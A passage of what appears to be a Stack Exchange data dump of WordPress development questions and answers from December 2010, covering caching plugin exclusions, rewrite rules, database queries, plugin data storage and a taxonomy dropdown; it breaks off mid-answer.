  <row Id="4845" PostTypeId="1" AcceptedAnswerId="4857" CreationDate="2010-12-03T17:54:41.033" Score="2" ViewCount="655" Body="&lt;p&gt;My shopping cart is being cached by w3 total cache. This is the expected default behaviour. The thing is I can't find an easy solution for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am showing my shopping cart on almost every page, so using rejected cookies or something similar is not an option. Is it posible to tell w3 total cache not to cache a single php file like cart_widget.php? Or some other workaround?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know a possibility is to load the cart via ajax as the plugin does not cache GET requests with parameters (by default) but I would like to avoid that extra request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Also, w3 total cache is not regenerating the page when I edit the product, is there an easy way to tell w3 total cache to empty the cache for a single page?&lt;/p&gt;&#xA;" OwnerUserId="1380" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:34:19.503" LastActivityDate="2011-01-31T09:34:19.503" Title="WP-e-Commerce and W3-Total-Cache integration problem" Tags="&lt;plugin-w3-total-cache&gt;&lt;plugin-wp-e-commerce&gt;" AnswerCount="2" />
  <row Id="4846" PostTypeId="2" ParentId="4844" CreationDate="2010-12-03T18:00:19.700" Score="3" ViewCount="" Body="&lt;p&gt;This is what I've used in the past for a similar requirement;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('movie', array(&#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'movie')&#xA;));&#xA;&#xA;register_taxonomy('movie_location', 'movie', array(&#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'movies')&#xA;));&#xA;&#xA;/**&#xA; * Add rewrite rules for 'base' archives.&#xA; * @param object $r Instance of {@see WP_Rewrite}&#xA; */&#xA;function my_custom_rewrite_rules(&amp;amp;$r)&#xA;{&#xA;    $rules = array(&#xA;        'movies/page/?([0-9]{1,})/?$' =&amp;gt; 'post_type=movie&amp;amp;paged=' . $r-&amp;gt;preg_index(1),&#xA;        'movies/?$' =&amp;gt; 'post_type=movie'&#xA;    );&#xA;&#xA;    foreach ($rules as &amp;amp;$rule)&#xA;        $rule = $r-&amp;gt;index . '?' . $rule;&#xA;    $r-&amp;gt;rules = array_merge($rules, $r-&amp;gt;rules);&#xA;}&#xA;add_action('generate_rewrite_rules', 'my_custom_rewrite_rules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the &lt;code&gt;rewrite&lt;/code&gt; argument in &lt;code&gt;register_taxonomy()&lt;/code&gt;? WordPress automatically creates the appropriate rewrite rules, including archive pagination!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note the singular use of &lt;code&gt;movie&lt;/code&gt; in the &lt;code&gt;register_post_type()&lt;/code&gt; &lt;code&gt;rewrite&lt;/code&gt; argument - partly because, IMO, it's semantically correct, but more so that you don't open up a whole can of worms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's that can of worms exactly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, otherwise you'll end up with two rewrite rules like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'movies/([^/]+)/?$' =&amp;gt; 'post_type=movie&amp;amp;movie_location=$matches[1]'&#xA;'movies/([^/]+)/?$' =&amp;gt; 'post_type=movie&amp;amp;name=$matches[1]'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whichever one is indexed first in the rewrite rules array will always be triggered, and &lt;strong&gt;the other one ignored&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So say you've a got a movie named &lt;code&gt;made-in-britain&lt;/code&gt;, but the rewrite rule for the taxonomy archive comes first, WordPress is always gonna look for movies with the &lt;code&gt;made-in-britain&lt;/code&gt; term, rather than the movie itself!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-12-03T18:00:19.700" />
  <row Id="4847" PostTypeId="2" ParentId="4842" CreationDate="2010-12-03T18:04:59.120" Score="4" ViewCount="" Body="&lt;p&gt;I think you want to use &lt;code&gt;get_var()&lt;/code&gt;, not &lt;code&gt;get_row()&lt;/code&gt; - &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/comparison-operators.html#function_greatest&quot; rel=&quot;nofollow&quot;&gt;looking at the documentation&lt;/a&gt;, MySQL's &lt;code&gt;GREATEST&lt;/code&gt; just returns a single value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$results&lt;/code&gt; will then just be the value of the greatest (be it &lt;code&gt;up&lt;/code&gt; or &lt;code&gt;down&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the greatest &lt;code&gt;up&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; the greatest &lt;code&gt;down&lt;/code&gt;, use;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;get_row(&quot;SELECT GREATEST(up) AS 'up', GREATEST(down) AS 'down' ...&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-12-03T18:04:59.120" CommentCount="6" />
  <row Id="4848" PostTypeId="2" ParentId="1567" CreationDate="2010-12-03T18:13:33.307" Score="5" ViewCount="" Body="&lt;h2&gt;Remove Private and Protected Prefix&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This function removes the &quot;Privite:&quot; prefix from posts and pages marked private. Useful for content only visible to logged in users or groups.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function the_title_trim($title) {&#xA;$title = attribute_escape($title);&#xA;$findthese = array(&#xA;    '#Protected:#',&#xA;    '#Private:#'&#xA;);&#xA;$replacewith = array(&#xA;    '', // What to replace &quot;Protected:&quot; with&#xA;    '' // What to replace &quot;Private:&quot; with&#xA;);&#xA;$title = preg_replace($findthese, $replacewith, $title);&#xA;return $title;&#xA;}&#xA;add_filter('the_title', 'the_title_trim');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Updated to include the removal of Protected: as well.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastEditorUserId="1756" LastEditorDisplayName="" LastEditDate="2010-12-03T21:21:26.540" LastActivityDate="2010-12-03T21:21:26.540" CommunityOwnedDate="2010-12-03T18:13:33.307" />
  <row Id="4849" PostTypeId="2" ParentId="4806" CreationDate="2010-12-03T18:29:22.677" Score="1" ViewCount="" Body="&lt;p&gt;You could try adding something like this to your htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^rgksugan.in&#xA;RewriteRule ^blog/wordpress/(.*)$ http://blog.rgksugan.in/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It basically is checking that you are on the rgksugan.in domain then redirecting anything at blog/wordpress/ to your subdomain.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2010-12-03T18:29:22.677" />
  <row Id="4850" PostTypeId="2" ParentId="4794" CreationDate="2010-12-03T18:35:07.023" Score="0" ViewCount="" Body="&lt;p&gt;You're using &lt;code&gt;wp_list_pages&lt;/code&gt; to check if your page has children. Try using &lt;code&gt;get_children&lt;/code&gt; instead (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_children&quot; rel=&quot;nofollow&quot;&gt;syntax here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_list_pages&lt;/code&gt; echoes its output, which is not the behaviour you want.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-03T18:35:07.023" CommentCount="2" />
  <row Id="4851" PostTypeId="2" ParentId="4845" CreationDate="2010-12-03T18:39:49.300" Score="1" ViewCount="" Body="&lt;p&gt;W3, like all other plugins of this kind, caches page output in static file. Basically you can't have part of static file being non-static.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am no expert in this field, but I would suggest to look into cookies after all. For example you can try to leave cache for pages with empty cart, but make filled cart set some cookie and skip caching on that.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-03T18:39:49.300" CommentCount="1" />
  <row Id="4852" PostTypeId="1" AcceptedAnswerId="4866" CreationDate="2010-12-03T19:04:49.860" Score="6" ViewCount="460" Body="&lt;p&gt;When developing plugins that requires data storage, what's the pros and cons of using one method or another ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The explication given in the codex is not detailed. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Before jumping in with a whole new&#xA;  table, however, consider if storing&#xA;  your plugin's data in WordPress' Post&#xA;  Meta (a.k.a. Custom Fields) would&#xA;  work. Post Meta is the preferred&#xA;  method; use it when&#xA;  possible/practical.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;from &lt;a href=&quot;http://codex.wordpress.org/Creating_Tables_with_Plugins&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Creating_Tables_with_Plugins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1513" LastActivityDate="2010-12-04T16:58:30.077" Title="Post meta vs Seperate database tables" Tags="&lt;plugin-development&gt;&lt;database&gt;&lt;post-meta&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="4853" PostTypeId="2" ParentId="4806" CreationDate="2010-12-03T19:23:13.880" Score="2" ViewCount="" Body="&lt;p&gt;Have you changed the site address to try and remove the wordpress from the URL? This is under Settings then General. You then have two URLs one of which is the actual physical directory and the other is the one you want to appear to the visitors to your website. This should allow you to remove the 'wordpress' element from your public URL, unless I am not understanding your question correctly and there is more to this than meets my eye?&lt;/p&gt;&#xA;" OwnerUserId="795" LastActivityDate="2010-12-03T19:23:13.880" />
  <row Id="4857" PostTypeId="2" ParentId="4845" CreationDate="2010-12-03T19:48:07.143" Score="3" ViewCount="" Body="&lt;h3&gt;W3 Total Cache is a very advanced plugin that has built in ways to handle almost any situation.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To exclude a page from being cached use one of the following commands below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('DONOTCACHEPAGE', true);&#xA;Disables page caching for a given page.&#xA;define('DONOTCACHEDB', true);&#xA;Disables database caching for given page.&#xA;define('DONOTMINIFY', true);&#xA;Disables minify for a given page.&#xA;define('DONOTCDN', true);&#xA;Disables content delivery network for a given page.&#xA;define('DONOTCACHCEOBJECT', true);&#xA;Disables object cache for a given page.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To make W3 Total empty the cache on your product edit you can hook the following function in when the product is saved:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;w3tc_pgcache_flush_post($post_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To implement fragment caching wrap the functions or lines of code that you don't want to cache in an mfunc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Example 1:&#xA;&amp;lt;!-- mfunc any PHP code --&amp;gt;&amp;lt;!-- /mfunc --&amp;gt;&#xA;Example 2:&#xA;&amp;lt;!-- mfunc --&amp;gt;any PHP code&amp;lt;!-- /mfunc --&amp;gt;&#xA;Example 3:&#xA;&amp;lt;!--MFUNC           --&amp;gt;&#xA;                                      echo rand();&#xA;&amp;lt;!--/mfunc --&amp;gt;&#xA;Example 4:&#xA;&amp;lt;!-- mclude path/to/file.php --&amp;gt;&amp;lt;!-- /mclude --&amp;gt;&#xA;Example 5:&#xA;&amp;lt;!-- mclude --&amp;gt;path/to/file.php&amp;lt;!-- /mclude --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-12-03T19:48:07.143" CommentCount="2" />
  <row Id="4858" PostTypeId="2" ParentId="4201" CreationDate="2010-12-03T19:58:39.567" Score="1" ViewCount="" Body="&lt;h3&gt;Edit: See below for proper way to query category and tag intersections.&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;        $args = array(&#xA;        'category__and' =&amp;gt; 'category', &#xA;        'tag__in' =&amp;gt; 'post_tag', //must use tag id for this field&#xA;        'posts_per_page' =&amp;gt; -1&#xA;&#xA;$posts = get_posts($args);&#xA;        foreach ($posts as $post) :&#xA;  //do stuff &#xA;     endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-12-04T18:54:31.957" LastActivityDate="2010-12-04T18:54:31.957" />
  <row Id="4859" PostTypeId="1" AcceptedAnswerId="4862" CreationDate="2010-12-03T20:03:57.993" Score="1" ViewCount="232" Body="&lt;p&gt;Is there a way to limit the size (dimensions) of the image a user can upload to their profile?  It looks like Wordpress does do some kind of limiting as uploading a 1024x768 image the result gets scaled down to 360x270, but where is that configured, either in the UI (which I haven't found) or through code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the section of the user profile I'm referring to:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/dIZiy.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1803" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2010-12-03T21:46:18.883" LastActivityDate="2010-12-03T21:46:18.883" Title="Limit author image size" Tags="&lt;image-size&gt;&lt;author&gt;&lt;semiologic&gt;" AnswerCount="4" />
  <row Id="4860" PostTypeId="2" ParentId="4859" CreationDate="2010-12-03T20:23:15.987" Score="4" ViewCount="" Body="&lt;p&gt;WordPress automatically resizes uploads into different formats based on the settings on the &lt;strong&gt;Settings &amp;raquo; Media&lt;/strong&gt; page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/oYoVO.jpg&quot; alt=&quot;Media settings page&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set up all of your different default sizes here.  Though keep in mind that plug-ins and themes can define their own &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;custom image sizes&lt;/a&gt; ... so I can't guarantee perfect operability in all cases.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-03T20:23:15.987" CommentCount="2" />
  <row Id="4861" PostTypeId="2" ParentId="4859" CreationDate="2010-12-03T20:37:33.810" Score="0" ViewCount="" Body="&lt;p&gt;A few people have indicated that &lt;a href=&quot;http://blog.japonophile.com/flexible-upload/&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt; will allow you to resize thumbnails and specify size.  Please let me know how that works for you!&lt;/p&gt;&#xA;" OwnerUserId="1716" LastActivityDate="2010-12-03T20:37:33.810" />
  <row Id="4862" PostTypeId="2" ParentId="4859" CreationDate="2010-12-03T20:46:06.490" Score="1" ViewCount="" Body="&lt;p&gt;It looks like the author image section of the User Profile editor was from the &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/sem-author-image/&quot; rel=&quot;nofollow&quot;&gt;Author Image&lt;/a&gt;&quot; plugin.  I didn't suspect that at first because I didn't know that plugins were allowed to modify that screen, so I thought it was just a build-in Wordpress function and that the plugin just allowed for easy display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it doesn't look like the plugin has a settings page I ended up just modifying the plugin itself.  For those curious, the file to modify is &lt;code&gt;sem-author-image-admin.php&lt;/code&gt; and the variable is about 3/4 of the way down, just search for the comment &lt;code&gt;// Set a maximum height and width&lt;/code&gt; and you'll find it.  (There's no guarantee that this will remain the same in future versions and upgrading the plugin will most likely break this, just an FYI)&lt;/p&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2010-12-03T20:46:06.490" />
  <row Id="4863" PostTypeId="1" AcceptedAnswerId="4867" CreationDate="2010-12-03T20:50:19.550" Score="4" ViewCount="479" Body="&lt;p&gt;I've just moved a site I'm developing to WP3.1 so that I can take advantage of and start testing some of the new features. I'm especially liking the &lt;code&gt;has_archive&lt;/code&gt; parameter in registering custom post types. I had a post type called 'recipes', and added this line to the args on registering it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'has_archive' =&amp;gt; 'recipe-listings',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I understand, that should generate the rewrite rules necessary to make &lt;strong&gt;/recipe-listings/&lt;/strong&gt; be equivalent to &lt;strong&gt;/?post_type=recipe&lt;/strong&gt;. However, I can't seem to get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The generic form &lt;a href=&quot;http://amritafood.com/?post_type=recipe&quot; rel=&quot;nofollow&quot;&gt;http://amritafood.com/?post_type=recipe&lt;/a&gt; works fine, but &lt;a href=&quot;http://amritafood.com/recipe-listings/&quot; rel=&quot;nofollow&quot;&gt;http://amritafood.com/recipe-listings/&lt;/a&gt; just goes to 404. What else do I need to do to get custom post type archives working properly? Has anyone else worked it out yet?&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-03T21:14:09.010" Title="Setting up custom post type archives in WP3.1? Any luck?" Tags="&lt;custom-post-types&gt;&lt;archive&gt;&lt;3.1&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="4865" PostTypeId="2" ParentId="4842" CreationDate="2010-12-03T21:00:40.607" Score="1" ViewCount="" Body="&lt;p&gt;Agreeing with TheDeadMedic... If you use GREATEST(), please do yourself a favor by knowing what you're doing. It returns a bigint when fed ints, and your query doesn't give the resulting column any name. So $wpdb will obviously complain when you try to access a column which is not available. :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe you're seeking this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT up - down as total, up, down FROM $table WHERE voted_post_id = $post_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-03T21:00:40.607" CommentCount="4" />
  <row Id="4866" PostTypeId="2" ParentId="4852" CreationDate="2010-12-03T21:13:18.270" Score="9" ViewCount="" Body="&lt;p&gt;Well, if I take the hat of a WP script kiddie, my answer would be: use post_meta, always.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I happen to know a thing or two about databases, so my answer is: never, ever, ever, use an EAV (aka the post_meta table) to store data that you might to need to query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the index front, there are basically none worth using in meta tables. So, if you're storing data type XYZ and are hoping you query all posts that have XYZ with a value of &lt;code&gt;'abc'&lt;/code&gt;, well... good luck. (See all of the users/roles/caps related tickets in the WP trac to give you an idea of how gory it can get.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the join front, you quickly crash into the limit at which the optimizer decides to use a genetic algorithm instead of analyzing the query when there are multiple join criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, no, no, no, no. Don't ever, ever, &lt;em&gt;ever&lt;/em&gt; use a meta. Unless what's you're storing is cosmetic and will never be part of a query criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It breaks down to your app. If you're storing, say, the birthdate of a movie director, than big deal. Use a meta all you want. But if you're storing, say, the release date of a movie, you'd be nuts to not use a separate table (or adding columns to the posts table) and add an index to that column.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-03T21:13:18.270" CommentCount="10" />
  <row Id="4867" PostTypeId="2" ParentId="4863" CreationDate="2010-12-03T21:14:09.010" Score="3" ViewCount="" Body="&lt;p&gt;I asked the question too soon. And thanks to @Jan Fabry for pointing me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case anyone else has this problem, here's the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any time the rewrite rules are changed (adding a new post type, changing the slug or the has_archive slug, etc.) you have to call &lt;code&gt;flush_rewrite_rules&lt;/code&gt; once. It has to be called after the post types are registered. I put it at the very end of my function which registered the post types on 'init', visited the site once, then deleted it out. Now the site works fine. &lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-03T21:14:09.010" CommentCount="3" />
  <row Id="4868" PostTypeId="2" ParentId="4852" CreationDate="2010-12-03T21:21:39.393" Score="2" ViewCount="" Body="&lt;p&gt;It depends on what you're doing. The WP way is to use the existing tables, as they've been designed to be flexible enough, however occasionally you'll reach a new class of data that can't be placed in an existing table, e.g. if you wanted category meta data, you could choose to create a wp_termsmeta table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, usually you can store your data quite comfortably in the different tables that exist, and where you store your data depends on what your plugin does.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For general plugin settings, use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_option&quot; rel=&quot;nofollow&quot;&gt;get_option()&lt;/a&gt; API call - this will be cached also.&lt;/li&gt;&#xA;&lt;li&gt;For plugin settings that a particular to an individual post, then use the custom meta data per post with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;get_post_meta()&lt;/a&gt;. This is usually plenty for what you need.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Caching is implemented within WordPress to speed up your response time also.&lt;/p&gt;&#xA;" OwnerUserId="798" LastActivityDate="2010-12-03T21:21:39.393" />
  <row Id="4869" PostTypeId="2" ParentId="4841" CreationDate="2010-12-03T21:22:16.127" Score="1" ViewCount="" Body="&lt;p&gt;You're looking for jQuery.live(), or jQuery's livequery plugin, depending on what you're seeking to do. (The second is the proper one if you need to use onChange events.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As things stand, your jQuery hooks are not called when the save button is called, because the form's tags are reloaded using ajax, and jQuery(document).ready() is, obviously, not getting called as they are.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-03T21:22:16.127" />
  <row Id="4870" PostTypeId="1" CreationDate="2010-12-03T21:24:10.290" Score="1" ViewCount="259" Body="&lt;p&gt;I have two wordpress sites on separate domains.  I need to expose the latest posts within a category via a json feed on one site that I have to use for the other site. I'll need to hit a &quot;hidden&quot; url, ex: /themes/mytheme/json_api.php?cat=news to get the json response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like this json feed to be a unique page without header.php and only includes the code necessary to output the posts within a specific category.  What do I need to import to have access to WP_Query in this file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2010-12-04T19:19:08.810" Title="Create unique page without header.php for json feed" Tags="&lt;3.0&gt;&lt;wp-query&gt;&lt;feed&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4871" PostTypeId="2" ParentId="4870" CreationDate="2010-12-03T21:25:54.453" Score="1" ViewCount="" Body="&lt;p&gt;Why not use an RSS widget?&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-03T21:25:54.453" CommentCount="1" />
  <row Id="4872" PostTypeId="2" ParentId="4859" CreationDate="2010-12-03T21:43:32.863" Score="3" ViewCount="" Body="&lt;p&gt;Being the author of the plugin in question, there actually is a limit. (It's 360x360.) Else +1 to Davy8's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could add a define in a future version...&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-03T21:43:32.863" CommentCount="1" />
  <row Id="4873" PostTypeId="1" CreationDate="2010-12-03T23:49:08.307" Score="2" ViewCount="239" Body="&lt;p&gt;Is there any proper wordpress way of including the JS and CSS through one merged URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that instead of loading in x number of separate calls for each JS asset, it can be all merged into one URL?  Samething for CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is easy enough to do using straight up PHP, but I wanted to check if wordpress has some nifty way of combining requests.&lt;/p&gt;&#xA;" OwnerUserId="1808" LastActivityDate="2010-12-04T15:41:15.600" Title="wp_enqueue_script + how to load JS or CSS in one URL merge call?" Tags="&lt;css&gt;&lt;functions&gt;&lt;wp-enqueue-script&gt;" AnswerCount="3" />
  <row Id="4874" PostTypeId="2" ParentId="26" CreationDate="2010-12-04T00:29:47.220" Score="1" ViewCount="" Body="&lt;p&gt;I'm a developer for &lt;a href=&quot;http://homequestgroup.com&quot; rel=&quot;nofollow&quot;&gt;HomeQuest&lt;/a&gt;. We build a WordPress Real Estate plugin to allow users to search for listings with complex filters on a Google Map, complete with Lead capture (optional forced registration) and the ability to geocode and categorize blog posts, so your blog posts can show up alongside listings on the map. Many, many more features as well.&lt;/p&gt;&#xA;" OwnerUserId="1113" LastActivityDate="2010-12-04T00:29:47.220" />
  <row Id="4875" PostTypeId="2" ParentId="4763" CreationDate="2010-12-04T00:37:31.570" Score="4" ViewCount="" Body="&lt;p&gt;You should strongly consider &lt;a href=&quot;http://seleniumhq.org/&quot; rel=&quot;nofollow&quot;&gt;Selenium&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to record actions (e.g. entering data into a form, clicking a link) and then you can perform assertions. It also integrates with PHPUnit. I highly recommend checking out the two minute demo.&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2010-12-04T00:37:31.570" CommunityOwnedDate="2010-12-04T00:37:31.570" CommentCount="2" />
  <row Id="4876" PostTypeId="2" ParentId="26" CreationDate="2010-12-04T00:40:57.880" Score="0" ViewCount="" Body="&lt;p&gt;I just created a fairly large high end real estate site ( It will be live next week).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went through all the real estate related themes and plug-ins during my research and I use none of them, zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your an agent or need a simple site they might do, but for a custom solution they are really not worth the trouble. In my case I just went with a blank theme and customized it to my liking using custom post types, custom fields, and basically turning wordpress into a CMS, with database support for things like MLS#'s and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only plug-ins I ended up using are mappress ( not entirely happy with but will have to do) and hreview ( some homes are vacation rentals)&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2010-12-04T02:22:06.200" LastActivityDate="2010-12-04T02:22:06.200" />
  <row Id="4877" PostTypeId="2" ParentId="4873" CreationDate="2010-12-04T01:18:58.860" Score="2" ViewCount="" Body="&lt;p&gt;Wordpress core has not such a mechanism. I've seen Caching plugins who do this. One of them is &lt;a href=&quot;http://www.semiologic.com/software/sem-cache/&quot; rel=&quot;nofollow&quot;&gt;Semiologic Cache (Wordpress Pluin)&lt;/a&gt; and there are probably others who do this as well.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-04T01:18:58.860" />
  <row Id="4878" PostTypeId="1" AcceptedAnswerId="4879" CreationDate="2010-12-04T06:39:39.847" Score="1" ViewCount="338" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; The original title was &quot;drop down taxonomy&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I want to add a drop-down box filled&#xA;  with my custom taxonomies, so when&#xA;  someone selects any value, it&#xA;  redirects to corresponding page.  I&#xA;  tried out this code, which worked&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;&amp;lt;?php  wp_dropdown_categories( array(&#xA;  'taxonomy' =&amp;gt; 'name of taxonomy' ) );&#xA;  ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The problem is I want a the page to&#xA;  redirect without the user needing to&#xA;  press any buttons. How can I do this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;this question was resolved but i want to modify further, i want to add a shortcode, so that i can also call drop-down-list into my post, i tried this but not working&#xA;&lt;code&gt;add_shortcode('drop','the_taxonomy_dropdown');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when i call this in my post &lt;code&gt;[drop=&quot;location&quot;]&lt;/code&gt; its not working,&#xA;whats the problem?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2010-12-20T10:01:27.177" LastActivityDate="2010-12-20T10:01:27.177" Title="Redirect to Post List by Taxonomy on User Selection of Taxonomy Dropdown?" Tags="&lt;custom-taxonomy&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" />
  <row Id="4879" PostTypeId="2" ParentId="4878" CreationDate="2010-12-04T08:40:38.577" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@ntechi:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a function I wrote which I named &lt;code&gt;the_taxonomy_dropdown()&lt;/code&gt; to give you what I think you are looking for. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function the_taxonomy_dropdown($taxonomy) {&#xA;  $id = &quot;{$taxonomy}-dropdown&quot;;&#xA;  $js =&amp;lt;&amp;lt;&amp;lt;SCRIPT&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA; jQuery(document).ready(function($){&#xA;  $(&quot;select#{$id}&quot;).change(function(){&#xA;    window.location.href = $(this).val();&#xA;  });&#xA; });&#xA;&amp;lt;/script&amp;gt;&#xA;SCRIPT;&#xA;  echo $js;&#xA;  $terms = get_terms($taxonomy);&#xA;  echo &quot;&amp;lt;select name=\&quot;{$id}\&quot; id=\&quot;{$id}\&quot;&amp;gt;&quot;;&#xA;  foreach($terms as $term) {&#xA;    echo '&amp;lt;option 